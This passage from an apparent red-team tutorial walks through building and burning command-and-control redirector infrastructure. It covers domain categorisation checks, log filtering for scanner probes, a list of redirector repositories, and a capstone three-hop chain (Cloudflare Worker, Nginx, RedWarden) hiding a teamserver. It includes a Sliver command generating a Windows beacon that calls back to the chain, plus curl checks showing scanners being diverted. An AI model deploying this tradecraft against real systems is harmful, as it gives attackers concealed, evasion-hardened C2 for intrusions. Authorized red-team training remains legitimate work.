sudo certbot revoke --cert-path /etc/letsencrypt/live/yourdomain.com/cert.pem
# 5. Destroy the node
# DigitalOcean:
doctl compute droplet delete <DROPLET_ID>
# AWS:
aws ec2 terminate-instances --instance-ids <INSTANCE_ID>
# OCI:
oci compute instance terminate --instance-id <OCID>
# 6. Update DNS — point domain to new redirector or park it
# If using Floating IP (DO) or Elastic IP (AWS): reassign to new node
# 7. Rotate teamserver-side listener
# (Change listener port / generate new implants with new redirector domain)
Domain Aging & Categorization
# Check domain categorization before use in engagement
# Bluecoat / Symantec Web Pulse
# https://sitereview.bluecoat.com/
# Cisco Talos
# https://talosintelligence.com/reputation
# Sucuri SiteCheck
curl "https://sitecheck.sucuri.net/results/yourdomain.com"
# DNS history check (Whois / PassiveDNS)
# https://securitytrails.com/domain/yourdomain.com/history/a
# Check domain age
whois yourdomain.com | grep -i "creation\|registered\|created"
Log Analysis: Detecting Scanner Probes
# Find non-beacon User-Agents in Nginx access logs
sudo grep -v "Mozilla/5.0 (Windows NT 10" /var/log/nginx/c2_access.log | \
awk '{print $1, $7, $12}' | sort | uniq -c | sort -rn | head -30
# Find IPs hitting multiple URIs (scanner pattern)
sudo awk '{print $1}' /var/log/nginx/c2_access.log | \
sort | uniq -c | sort -rn | head -20
# Find non-200 status hits (active probing)
sudo grep -v " 200 " /var/log/nginx/c2_access.log | \
awk '{print $1, $9, $7}' | sort | uniq -c | sort -rn | head -20
GitHub Reference Repositories
For defensive hardening, authorized lab research, and pattern reference only.
| Repository | Description | Tech |
|---|---|---|
| RedWarden | Malleable profile validator + request filter for Cobalt Strike | Python |
| RedGuard | C2 front flow control — geo-IP, JA3, time-based, hot-reload | Go |
| BounceBack | Time-filtered stealth redirector, multi-proxy, plugin system | Go |
| RedCommander | AWS automation for CS + redirectors + RedELK stack | Terraform/Ansible |
| Red-Team-Infrastructure-Wiki | Comprehensive wiki: mod_rewrite, DNS, redirector patterns | Reference |
| mod_rewrite-redirector | Dockerized Apache mod_rewrite redirector | Docker/Apache |
| c2-redirectors | Rocky Linux automated redirector + tunnel deployment scripts | Shell |
| RedCaddy | Caddy-based redirector with GEO/IP and malleable profile integration | Go/Caddy |
Capstone: Full Multi-Hop Redirector Pipeline [Advanced]
What you're building: A complete, production-grade 3-hop redirector chain: Cloudflare Worker → Nginx (OCI) → RedWarden filter → Teamserver (AWS private subnet). Every component uses a separate provider, separate certs, and automatic burn procedures.
Architecture
Implant (Windows target)
│ HTTPS to CDN domain (CF Worker IP — cloudflare.com AS)
▼
Cloudflare Worker ← Hop 1: Strips attribution, blocks scanners
│ HTTPS to edge.yourdomain-2.com
▼
Nginx on OCI Free Tier (Frankfurt) ← Hop 2: GeoIP filter, URI allow-list
│ HTTPS over WireGuard tunnel
▼
RedWarden on AWS EC2 (us-east-1) ← Hop 3: Profile validation, JA3 filter
│ Loopback to listener
▼
Teamserver (AWS EC2 private subnet) ← No public IP, only accessible via RedWarden
Build Order
# Step 1: Provision teamserver (private subnet, no public IP)
# AWS: Launch EC2 in private VPC subnet, no IGW route, only NAT outbound
# Step 2: Deploy RedWarden on a separate EC2 (public IP, SG: only OCI IP → 443)
# Install RedWarden per Action Item 6
# Point teamserver_url to teamserver's private IP
# Step 3: Set up WireGuard between OCI redirector and RedWarden EC2
# Per Action Item 8 — WireGuard Tunnel
# Step 4: Deploy Nginx on OCI free tier
# Config: proxy to RedWarden via WireGuard tunnel IP (10.99.0.1)
# GeoIP filter applied here
# Step 5: Deploy Cloudflare Worker pointing to OCI Nginx IP
# CF Worker blocks scanners, passes beacon traffic only
# Step 6: Generate Sliver/CS implants with C2 callback = CF Worker domain
sliver > generate --http https://your-cf-worker-domain.com \
--os windows --arch amd64 \
--seconds 60 --jitter 30 \
--save /tmp/beacon.exe
# Step 7: Verify the chain
curl -s -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" \
https://your-cf-worker-domain.com/updates/test
# Should: proxy through all 3 hops and hit teamserver listener
curl -s -A "python-requests/2.28" \
https://your-cf-worker-domain.com/updates/test
# Should: receive 302 redirect to microsoft.com at Cloudflare Worker
Burn Sequence (Full Chain)
1. Rotate beacon → new implants generated with new domain
2. Burn CF Worker → delete Worker route
3. Burn OCI Nginx → terminate OCI instance, release IP
4. Burn RedWarden EC2 → terminate instance
5. Revoke all Let's Encrypt certs
6. Pull all logs before each termination
7. Spin up fresh chain on new domains/IPs
8. Teamserver survives — never directly exposed
Quick Reference: Redirector Decision Matrix
| Scenario | Recommended Stack |
|---|---|
| Quick lab, 1 hour setup | socat or iptables dumb pipe |
| Standard engagement, HTTP/S C2 | Nginx reverse proxy + GeoIP |
| Cobalt Strike with malleable profiles | RedWarden or RedGuard |
| Long-haul engagement, max opsec | CF Worker → Nginx → RedWarden → Teamserver |
| Internal network pivot | SSH reverse tunnel or WireGuard |
| Cloud-native, zero VPS management | Cloudflare Workers + AWS CloudFront |
| Automated deployment at scale | RedCommander (Terraform/Ansible) |
The redirector is expendable. The teamserver is not. Build redirectors to be fast to deploy, easy to rotate, and zero-trust — every hop should assume the previous hop has been burned.